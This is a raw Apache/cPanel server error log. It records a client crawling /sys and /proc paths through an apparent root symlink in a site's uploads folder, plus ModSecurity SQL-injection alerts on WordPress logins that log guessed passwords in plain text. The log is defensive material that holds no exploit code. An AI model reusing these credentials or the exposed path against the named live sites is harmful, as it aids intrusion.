[Fri Jul 17 08:13:34.541916 2026] [security2:error] [pid 1999089:tid 1999089] [client 111.223.185.57:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/rs-plugin/js/extensions/revolution.extension.layeranimation.min.js"] [unique_id "almW1kMCK1PbyQ2qe6D_ZQAAABQ"], referer: https://www.epid.gov.lk/measles-rubella-crs
[Fri Jul 17 08:13:34.542062 2026] [security2:error] [pid 1999089:tid 1999089] [client 111.223.185.57:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/rs-plugin/js/extensions/revolution.extension.layeranimation.min.js"] [unique_id "almW1kMCK1PbyQ2qe6D_ZQAAABQ"], referer: https://www.epid.gov.lk/measles-rubella-crs
[Fri Jul 17 08:13:34.925179 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:13/eject
[Fri Jul 17 08:13:35.235598 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:35.255430 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:35.290876 2026] [core:error] [pid 2005917:tid 2005917] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/device:0c/eject
[Fri Jul 17 08:13:35.305420 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:35.464450 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:35.473268 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:35.484041 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:35.566161 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/drivers/button/unbind
[Fri Jul 17 08:13:35.746875 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:35.935592 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:36.020717 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/device/subsystem/devices/device:1d/eject
[Fri Jul 17 08:13:36.573910 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:36.849556 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:1d/eject
[Fri Jul 17 08:13:36.941880 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:36.942019 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:36.942082 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:36.942171 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:36.942272 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:36.942311 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:37.086587 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:37.309249 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:37.884448 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:38.506129 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:38.603827 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:38.689226 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:39.329911 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:39.427171 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:39.510464 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup10/device/subsystem/devices/device:13/eject
[Fri Jul 17 08:13:39.602738 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:39.815686 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:40.093265 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:40.148313 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:40.520754 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:40.611596 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:40.981539 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/devices/device:0c/eject
[Fri Jul 17 08:13:41.073055 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:41.165677 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:42.170276 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:42.258393 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:42.368758 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:42.368843 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:42.439757 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:42.622632 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/device/subsystem/devices/device:0a/eject
[Fri Jul 17 08:13:42.805241 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:43.076644 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:43.168905 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:23/subsystem/tty58/power/control"] [unique_id "almW33jA8yK8B7kryx3e3wAAAAk"]
[Fri Jul 17 08:13:43.168938 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:23/subsystem/tty58/power/control"] [unique_id "almW33jA8yK8B7kryx3e3wAAAAk"]
[Fri Jul 17 08:13:43.441025 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:43.640545 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:43.816524 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty9/subsystem/tty2/uevent"] [unique_id "almW34l9vhFBGA6D8l9zqQAAAAw"]
[Fri Jul 17 08:13:43.816559 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty9/subsystem/tty2/uevent"] [unique_id "almW34l9vhFBGA6D8l9zqQAAAAw"]
[Fri Jul 17 08:13:44.079656 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/drivers/button/unbind
[Fri Jul 17 08:13:45.171558 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:45.688320 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:45.777378 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:45.792550 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:56920] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:13:45.989535 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:46.234060 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:46.338995 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:46.339357 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:46.420393 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:46.632094 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:46.813551 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:46.905235 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:47.180526 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:47.362260 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:47.637317 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:47.917381 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/dev/char/4:66/flags
[Fri Jul 17 08:13:48.106018 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/vc/vcsa2/subsystem/vcsa/uevent"] [unique_id "almW5AG5-NXx3Mem1QgLhwAAAA8"]
[Fri Jul 17 08:13:48.106062 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/vc/vcsa2/subsystem/vcsa/uevent"] [unique_id "almW5AG5-NXx3Mem1QgLhwAAAA8"]
[Fri Jul 17 08:13:48.289378 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:48.290169 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:10/subsystem/drivers/pvpanic/"] [unique_id "almW5I1dLClkUfK_dfHeqwAAAAI"]
[Fri Jul 17 08:13:48.290198 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:10/subsystem/drivers/pvpanic/"] [unique_id "almW5I1dLClkUfK_dfHeqwAAAAI"]
[Fri Jul 17 08:13:48.388480 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:48.587337 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:57064] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:13:48.836202 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:48.926215 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/device:09/eject
[Fri Jul 17 08:13:48.943000 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:57080] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:13:49.018630 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:49.120690 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:49.474088 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/virtio/drivers/virtio_blk/bind
[Fri Jul 17 08:13:49.749008 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty49/subsystem/ttyS2/close_delay
[Fri Jul 17 08:13:49.839162 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:50.026283 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:50.389442 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:50.572398 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:50.668942 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:50.682074 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:57142] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:13:51.306777 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:51.396545 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:51.488181 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:51.578431 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:51.923968 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:51.987392 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:52.133493 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu3/node0/cpu1/driver/uevent
[Fri Jul 17 08:13:52.406209 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:52.826880 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:52.924312 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/device/subsystem/devices/device:0f/eject
[Fri Jul 17 08:13:53.104799 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:53.479525 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:53.570326 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:53.810499 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:00/firmware_node/subsystem/uevent
[Fri Jul 17 08:13:53.856102 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:53.933501 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:54.080605 2026] [security2:error] [pid 2005917:tid 2005917] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almW6nf2WrySr2miwA708QAAABY"], referer: http://www.anandaobauae.org/?C=D;O=Duploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:13:54.080636 2026] [security2:error] [pid 2005917:tid 2005917] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almW6nf2WrySr2miwA708QAAABY"], referer: http://www.anandaobauae.org/?C=D;O=Duploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:13:54.205757 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/devices/device:09/eject
[Fri Jul 17 08:13:54.216257 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:54.297539 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty47/subsystem/ttyS1/device/driver/bind
[Fri Jul 17 08:13:54.479247 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:54.570711 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:54.660937 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup2/device/subsystem/devices/device:17/eject
[Fri Jul 17 08:13:54.934141 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:55.046608 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:55.116334 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:55.118993 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu2/driver/cpu1/"] [unique_id "almW6wG5-NXx3Mem1QgLjwAAAA8"]
[Fri Jul 17 08:13:55.119023 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu2/driver/cpu1/"] [unique_id "almW6wG5-NXx3Mem1QgLjwAAAA8"]
[Fri Jul 17 08:13:55.123822 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/lib/firmware/kaweth/"] [unique_id "almW690t9Kb_MdNxrg68KwAAAAM"]
[Fri Jul 17 08:13:55.123866 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/lib/firmware/kaweth/"] [unique_id "almW690t9Kb_MdNxrg68KwAAAAM"]
[Fri Jul 17 08:13:55.685304 2026] [security2:error] [pid 1994446:tid 1994446] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almW612NhE8i6ppze4erJgAAAAs"], referer: http://www.anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:13:55.685354 2026] [security2:error] [pid 1994446:tid 1994446] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almW612NhE8i6ppze4erJgAAAAs"], referer: http://www.anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:13:58.961799 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:59.793018 2026] [security2:error] [pid 1994976:tid 1994976] [client 199.189.225.167:0] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'novc' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: novc found within ARGS:pwd: online123!@#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "rehanseo.online"] [uri "/wp-login.php"] [unique_id "almW7zRCJXF37-WnVv0gDAAAABI"], referer: https://rehanseo.online.2s-travels.com/wp-login.php
[Fri Jul 17 08:13:59.793435 2026] [security2:error] [pid 1994976:tid 1994976] [client 199.189.225.167:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "rehanseo.online"] [uri "/wp-login.php"] [unique_id "almW7zRCJXF37-WnVv0gDAAAABI"], referer: https://rehanseo.online.2s-travels.com/wp-login.php
[Fri Jul 17 08:14:01.059478 2026] [security2:error] [pid 1994976:tid 1994976] [client 199.189.225.167:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "rehanseo.online"] [uri "/wp-login.php"] [unique_id "almW7zRCJXF37-WnVv0gDAAAABI"], referer: https://rehanseo.online.2s-travels.com/wp-login.php
[Fri Jul 17 08:14:05.337459 2026] [security2:error] [pid 2002425:tid 2002425] [client 68.183.43.38:0] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'novc' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: novc found within ARGS:pwd: rehanseo123!@#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "rehanseo.online"] [uri "/wp-login.php"] [unique_id "almW9aUJv0yl2bIgVrkK0QAAABU"], referer: https://rehanseo.online.2s-travels.com/wp-login.php
